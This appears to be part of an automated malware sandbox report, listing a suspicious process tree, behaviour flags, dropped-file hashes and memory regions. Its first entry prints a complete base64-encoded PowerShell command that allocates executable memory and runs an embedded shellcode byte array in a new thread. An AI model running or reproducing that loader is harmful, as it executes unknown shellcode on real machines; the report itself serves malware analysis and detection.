C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -enc JABHAE4AVwBKACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQARwBOAFcASgAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkADkALAAwAHgAZQA5ACwAMAB4AGIAYQAsADAAeAA4ADIALAAwAHgANgA3ACwAMAB4ADAAZAAsADAAeAAxADMALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAOAAsADAAeAAzADMALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAMwAxACwAMAB4ADUAMAAsADAAeAAxADcALAAwAHgAMAAzACwAMAB4ADUAMAAsADAAeAAxADcALAAwAHgAOAAzACwAMAB4ADYAYQAsADAAeAA5AGIALAAwAHgAZQBmACwAMAB4AGUANgAsADAAeAA5ADYALAAwAHgAOABjACwAMAB4ADcAZgAsADAAeAAwADgALAAwAHgANgA2ACwAMAB4ADQAZAAsADAAeABlADAALAAwAHgAMwA4ACwAMAB4AGIANAAsADAAeAAyADkALAAwAHgANgBiACwAMAB4ADYAOAAsADAAeAAwADgALAAwAHgAMwA5ACwAMAB4ADMAOQAsADAAeAA4ADEALAAwAHgAZQAzACwAMAB4ADYAZgAsADAAeABhAGEALAAwAHgAMQAwACwAMAB4ADEANgAsADAAeAA4ADAALAAwAHgANgA1ACwAMAB4ADYAOAAsADAAeABmAGUALAAwAHgAYQBlACwAMAB4ADcANgAsADAAeABlADYALAAwAHgAOABjACwAMAB4AGYAOAAsADAAeABiADkALAAwAHgAMwA5ACwAMAB4AGQAYwAsADAAeABjADUALAAwAHgAZAA4ACwAMAB4AGMANQAsADAAeAAxAGUALAAwAHgAMQBhACwAMAB4ADMAYgAsADAAeABmADcALAAwAHgAZAAxACwAMAB4ADYAZgAsADAAeAAzAGEALAAwAHgAMwAwACwAMAB4AGEANAAsADAAeAAxAGEALAAwAHgAZAAzACwAMAB4AGUAYwAsADAAeAA2ADEALAAwAHgANgBlACwAMAB4ADcAOQAsADAAeAAwADEALAAwAHgAMAA2ACwAMAB4ADMAMgAsADAAeAA0ADIALAAwAHgAMgAwACwAMAB4AGMAOAAsADAAeAAzADgALAAwAHgAZgBhACwAMAB4ADUAYQAsADAAeAA2AGQALAAwAHgAZgBlACwAMAB4ADgAZgAsADAAeABkADYALAAwAHgANgBjACwAMAB4ADIAZgAsADAAeABlADQALAAwAHgAYgBmACwAMAB4ADQAZQAsADAAeABjAGUALAAwAHgAMgA4ACwAMAB4AGIANAAsADAAeABjADYALAAwAHgAYwA4ACwAMAB4ADkAZQAsADAAeAA0AGUALAAwAHgAMQBmACwAMAB4ADkAYwAsADAAeAAyADIALAAwAHgANgAwACwAMAB4ADYAMAAsADAAeAAxADQALAAwAHgAZAAwACwAMAB4AGIANgAsADAAeAAxADUALAAwAHgAYQA2ACwAMAB4ADMAMAAsADAAeAA4ADcALAAwAHgAZQA5ACwAMAB4ADAANQAsADAAeAA3AGQALAAwAHgAMgA3ACwAMAB4AGUANAAsADAAeAA1ADQALAAwAHgAYgA5ACwAMAB4ADgAMAAsADAAeAAxADYALAAwAHgAMgAzACwAMAB4AGIAMQAsADAAeABmADIALAAwAHgAYQBiACwAMAB4ADMANAAsADAAeAAwADIALAAwAHgAOAA4ACwAMAB4ADcANwAsADAAeABiADAALAAwAHgAOQA1ACwAMAB4ADIAYQAsADAAeABmAGMALAAwAHgANgAyACwAMAB4ADcAMgAsADAAeABjAGEALAAwAHgAZAAxACwAMAB4AGYANQAsADAAeABmADEALAAwAHgAYwAwACwAMAB4ADkAZQAsADAAeAA3ADIALAAwAHgANQBkACwAMAB4AGMANQAsADAAeAAyADEALAAwAHgANQA2ACwAMAB4AGQANQAsADAAeABmADEALAAwAHgAYQBhACwAMAB4ADUAOQAsADAAeAAzAGEALAAwAHgANwAwACwAMAB4AGUAOAAsADAAeAA3AGQALAAwAHgAOQBlACwAMAB4AGQAOAAsADAAeABhAGIALAAwAHgAMQBjACwAMAB4ADgANwAsADAAeAA4ADQALAAwAHgAMQBhACwAMAB4ADIAMAAsADAAeABkADcALAAwAHgANgAxACwAMAB4AGMAMwAsADAAeAA4ADQALAAwAHgAOQAzACwAMAB4ADgAMAAsADAAeAAxADIALAAwAHgAYgA4ACwAMAB4ADUAYgAsADAAeAA1AGIALAAwAHgAMQBiACwAMAB4AGUANAAsADAAeABjAGIALAAwAHgAOQA3ACwAMAB4AGQAMQAsADAAeAAxADcALAAwAHgAMABjACwAMAB4AGIAMAAsADAAeAA2ADIALAAwAHgANgBiACwAMAB4ADMAZQAsADAAeAAxAGYALAAwAHgAZAA4ACwAMAB4AGUAMwAsADAAeAA3ADIALAAwAHgAZQA4ACwAMAB4AGMANgAsADAAeABmADQALAAwAHgAMAAzACwAMAB4AGYAZQAsADAAeABmADkALAAwAHgAMgBiACwAMAB4AGEAYgAsADAAeAA2AGYALAAwAHgAMAA0ACwAMAB4AGMAYwAsADAAeABjAGMALAAwAHgAYQA2ACwAMAB4AGMAMgAsADAAeAA5ADgALAAwAHgAOQBjACwAMAB4AGQAMAAsADAAeABlADMALAAwAHgAYQAwACwAMAB4ADcANgAsADAAeAAyADEALAAwAHgAMABjACwAMAB4ADcANQAsADAAeABlADIALAAwAHgAMgBiACwAMAB4ADkAYQAsADAAeABiADYALAAwAHgANQBiACwAMAB4ADcAMwAsADAAeABkAGEALAAwAHgANQBmACwAMAB4ADkAZQAsADAAeAA4ADQALAAwAHgAZgA5ACwAMAB4ADEAZAAsADAAeAAxADcALAAwAHgANgAyACwAMAB4AGEAZAAsADAAeAA3ADEALAAwAHgANwA4ACwAMAB4ADMAYgAsADAAeAAwAGQALAAwAHgAMgAyACwAMAB4ADMAOAAsADAAeABlAGIALAAwAHgAZQA1ACwAMAB4ADIAOAAsADAAeABiADcALAAwAHgAZAA0ACwAMAB4ADEANQAsADAAeAA1ADMALAAwAHgAMQBkACwAMAB4ADcAZAAsADAAeABiAGYALAAwAHgAYgBjACwAMAB4AGMAOAAsADAAeABkADUALAAwAHgANQA3ACwAMAB4ADIANAAsADAAeAA1ADEALAAwAHgAYQBkACwAMAB4AGMANgAsADAAeABhADkALAAwAHgANABmACwAMAB4AGMAYgAsADAAeABjADgALAAwAHgAMgAyACwAMAB4ADcAYwAsADAAeAAyAGIALAAwAHgAOAA2ACwAMAB4AGMAMgAsADAAeAAwADkALAAwAHgAMwBmACwAMAB4ADcAZQAsADAAeAAyADMALAAwAHgANAA0ACwAMAB4ADEAZAAsADAAeAAyADgALAAwAHgAMwBjACwAMAB4ADcAMgAsADAAeAAwADgALAAwAHgAZAA0ACwAMAB4AGEAOAAsADAAeAA3ADkALAAwAHgAOQBiACwAMAB4ADgAMwAsADAAeAA0ADQALAAwAHgAOAAwACwAMAB4AGYAYQAsADAAeABlADMALAAwAHgAYwBhACwAMAB4ADcAYgAsADAAeAAyADkALAAwAHgANwA4ACwAMAB4AGMAMgAsADAAeABlADkALAAwAHgAOQAyACwAMAB4ADEANgAsADAAeAAyAGIALAAwAHgAZgBlACwAMAB4ADEAMgAsADAAeABlADYALAAwAHgANwBkACwAMAB4ADkANAAsADAAeAAxADIALAAwAHgAOABlACwAMAB4AGQAOQAsADAAeABjAGMALAAwAHgANAAwACwAMAB4AGEAYgAsADAAeAAyADUALAAwAHgAZAA5ACwAMAB4AGYANAAsADAAeAA2ADAALAAwAHgAYgAwACwAMAB4AGUAMgAsADAAeABhAGMALAAwAHgAZAA1ACwAMAB4ADEAMwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADAAMAAsADAAeAA1ADMALAAwAHgAMQA0ACwAMAB4AGEAYwAsADAAeAA2ADcALAAwAHgANgA1ACwAMAB4ADYAOAAsADAAeAA3AGIALAAwAHgANAAxACwAMAB4ADEAMwAsADAAeAA4ADAALAAwAHgAYgBmADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABtAEQAYgA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAbQBEAGIALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHoAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAG0ARABiACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7AA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jydvbmgc\jydvbmgc.cmdline"5⤵
- Suspicious use of WriteProcessMemory
PID:5104 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C99.tmp" "c:\Users\Admin\AppData\Local\Temp\jydvbmgc\CSCD2C7EB2CF1FD489AA8F95776476CE015.TMP"6⤵PID:3728
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RES4C99.tmpFilesize
1KB
MD565ea4e499a0c1d70253945ff53ac5bfa
SHA11e0328d710b9686e4fc96147fe351e0e65dc7cec
SHA256d989a89859ce325f17977583965d067e8e1fbd4c63e87d5bdf589a997451f709
SHA512c5f1d85eecda52bd9a4fc7d4ac27d0dc006916bd631f1d894e52e355c87e2708e9b6340eec6319b9de608d03ecafe04db601c3fe383bf024d61172c1e5d0998e
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h140xih5.0ii.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\jydvbmgc\jydvbmgc.dllFilesize
3KB
MD5d7ba6e2318fcfe9b6883439213e180b2
SHA1e0f89375a942369f3564a9861afa7bba977a5dc3
SHA256541a9f057c1b25c3a70b309f9f59b740a468d9a268183a00ca3fcd4f483d56fe
SHA5121e7bff9e089f2118d7981a04c55023628340444a80f1238f9b14dddac5c439910acbd703fd3e6f0aec5c79adbfa849a28a2a1c5bc0cffe8034bd00518a7375ba
-
\??\c:\Users\Admin\AppData\Local\Temp\jydvbmgc\CSCD2C7EB2CF1FD489AA8F95776476CE015.TMPFilesize
652B
MD599212111c6dec8ab7e24ef0dbf1a8292
SHA158058e1e0ab459627fea32e6882a259158750a17
SHA2569103b449c6499a820998e6f8efc9ac223715a9f2cd2c888c7c2832f95cc9c40f
SHA512174de49c71eea33ff5fe56a04d786ebf3d21f51cd956de8a148272bba4c00ee255be9baa5b71f400b9cc669acd13ac7c19fc43468be1bfbda5a13a66636304e7
-
\??\c:\Users\Admin\AppData\Local\Temp\jydvbmgc\jydvbmgc.0.csFilesize
557B
MD57319070c34daa5f6f2ece2dfc07119ee
SHA1f26a4a48518a5608e93c8b77368f588b0433973c
SHA256b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc
SHA51234169fc9fb0cd2381c45efcd22ec1bc659ef513e73bc4c7bcb91ca1d5129a1a149e9f75297acb4958e52ff04d75e6e121232dbc0657611e41b63f10aa3e1d6bd
-
\??\c:\Users\Admin\AppData\Local\Temp\jydvbmgc\jydvbmgc.cmdlineFilesize
369B
MD5cd5334c11bcbe4db8a775f1fd1ec8c86
SHA1b8145eb2147473d2f41e5c3c016fc5ff5e12a2e8
SHA25651a93b2871f5c1c27345f2e3c4f51e410b9e4eb2c65fd70afebfa988ce257d8a
SHA5123e8498c7d32a1c9a4657f1817edc44cd16a4c8ed137de1487c0156f8b1e2609ada133ac0e4a5f7191b0a872be13ce696e5d6888648c582182afa2d4fdcd30dbd
-
memory/2224-0-0x00000000001A0000-0x00000000001AA000-memory.dmpFilesize
40KB
-
memory/2224-1-0x00007FF8036A0000-0x00007FF804161000-memory.dmpFilesize
10.8MB
-
memory/2224-51-0x00007FF8036A0000-0x00007FF804161000-memory.dmpFilesize
10.8MB
-
memory/2904-33-0x0000000006420000-0x000000000646C000-memory.dmpFilesize
304KB
-
memory/2904-15-0x0000000002E00000-0x0000000002E36000-memory.dmpFilesize
216KB
-
memory/2904-19-0x0000000005540000-0x0000000005562000-memory.dmpFilesize
136KB
-
memory/2904-20-0x00000000055E0000-0x0000000005646000-memory.dmpFilesize
408KB
-
memory/2904-21-0x0000000005DE0000-0x0000000005E46000-memory.dmpFilesize
408KB
-
memory/2904-31-0x0000000005E50000-0x00000000061A4000-memory.dmpFilesize
3.3MB
-
memory/2904-32-0x00000000063E0000-0x00000000063FE000-memory.dmpFilesize
120KB
-
memory/2904-16-0x0000000074EB0000-0x0000000075660000-memory.dmpFilesize
7.7MB
-
memory/2904-34-0x0000000007C40000-0x00000000082BA000-memory.dmpFilesize
6.5MB
-
memory/2904-35-0x0000000006910000-0x000000000692A000-memory.dmpFilesize
104KB
-
memory/2904-17-0x0000000005080000-0x0000000005090000-memory.dmpFilesize
64KB
-
memory/2904-18-0x00000000056C0000-0x0000000005CE8000-memory.dmpFilesize
6.2MB
-
memory/2904-58-0x0000000005080000-0x0000000005090000-memory.dmpFilesize
64KB
-
memory/2904-57-0x0000000005080000-0x0000000005090000-memory.dmpFilesize
64KB
-
memory/2904-56-0x0000000074EB0000-0x0000000075660000-memory.dmpFilesize
7.7MB
-
memory/2904-48-0x0000000006990000-0x0000000006998000-memory.dmpFilesize
32KB
-
memory/2904-50-0x0000000005110000-0x0000000005111000-memory.dmpFilesize
4KB
-
memory/3264-13-0x00000231214A0000-0x00000231214C2000-memory.dmpFilesize
136KB
-
memory/3264-53-0x0000023121420000-0x0000023121430000-memory.dmpFilesize
64KB
-
memory/3264-54-0x0000023121420000-0x0000023121430000-memory.dmpFilesize
64KB
-
memory/3264-55-0x00007FF8036A0000-0x00007FF804161000-memory.dmpFilesize
10.8MB
-
memory/3264-12-0x0000023121420000-0x0000023121430000-memory.dmpFilesize
64KB
-
memory/3264-11-0x0000023121420000-0x0000023121430000-memory.dmpFilesize
64KB
-
memory/3264-14-0x00007FF8036A0000-0x00007FF804161000-memory.dmpFilesize
10.8MB